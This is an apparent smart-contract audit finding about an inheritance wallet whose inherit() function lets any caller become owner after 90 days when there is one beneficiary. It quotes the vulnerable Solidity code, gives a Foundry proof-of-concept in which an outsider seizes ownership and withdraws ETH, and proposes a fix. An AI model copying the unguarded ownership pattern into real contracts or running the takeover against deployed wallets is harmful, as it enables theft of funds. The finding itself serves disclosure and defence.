Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unrestricted Ownership Transfer in inherit() with Single Beneficiary

osuolale

Summary

When the beneficiaries array contains exactly one address, the inherit function allows any external caller to become the contract’s owner after the 90-day inactivity period. This lack of access control creates a severe security vulnerability, as an attacker can seize control of the contract and its assets simply by calling inherit().

Vulnerability Details

The vulnerable code is within the inherit function:

solidity

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender; //@audit-issue k if there's one beneficiary(user A), anybody can call it and become the owner
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
​
​
POC
​
​
​
// SPDX-License-Identifier: MIT
​
pragma solidity 0.8.26;
​
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
​
​
​
/// @title General InheritanceManager Tests
/// @notice Runs additional functional tests on `InheritanceManager`
contract InheritanceManagerTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
​
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
​
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
​
// ERC20Mock requires a name, symbol, and initial supply
usdc = new ERC20Mock();
weth = new ERC20Mock();
}
​
function testAnybodyCanInheritOnlyOneBeneficiary() public {
address user2 = makeAddr("user2");
​
// Owner adds user1 as the sole beneficiary.
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
​
// Set an initial time and fund the contract.
vm.warp(1);
vm.deal(address(im), 10e10);
console.log("Initial contract balance:", address(im).balance);
​
// Fast forward time to pass the 90 days inactivity period.
vm.warp(1 + 90 days);
​
// An external user (user2) calls inherit(), which in the single beneficiary case sets owner to msg.sender.
vm.startPrank(user2);
im.inherit();
vm.stopPrank();
​
// Verify that user2 is now the owner.
assertEq(im.getOwner(), user2, "Ownership should be transferred to user2");
​
// New owner withdraws ETH using sendETH.
uint256 withdrawAmount = 5e10; // Withdraw 5e10 wei.
​
vm.startPrank(user2);
im.sendETH(withdrawAmount, user2);
vm.stopPrank();
​
// Verify that the contract balance has decreased by the withdrawn amount.
uint256 expectedBalance = 10e10 - withdrawAmount;
assertEq(address(im).balance, expectedBalance, "Contract balance should decrease by the withdrawn amount");
​
// Verify that user2 received the ETH.
assertEq(user2.balance, withdrawAmount, "User2 should receive the withdrawn ETH");
​
console.log("Final contract balance:", address(im).balance);
}
​
}
​

No Access Control:

  • The function is external, making it callable by anyone.

  • In the beneficiaries.length == 1 case, owner = msg.sender assigns ownership to the caller without any verification (e.g., checking if msg.sender is the beneficiary or the original owner).

  • Security Flaw:

    • After 90 days, anyone can call inherit() and become the owner, gaining full control over the contract’s assets and functions restricted by onlyOwner.

Impact

Complete Takeover: An attacker can steal all contract funds (ETH and ERC20 tokens) and manipulate its state (e.g., add/remove beneficiaries, interact with external contracts).

  • High Severity: This is a critical vulnerability, as it allows unauthorized control over a contract designed to manage inheritance, which typically holds significant assets.

  • Reputation Damage: Loss of user trust due to insecure inheritance management.

Tools Used

Manual Review

Recommendations

Restrict the single-beneficiary case to the beneficiary or the original owner. Here’s a fix assuming the beneficiary should inherit ownership:

solidity

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
if (msg.sender != beneficiaries[0]) {
revert("Only beneficiary can inherit");
}
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
​
Updates

Lead Judging Commences

0xtimefliez Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.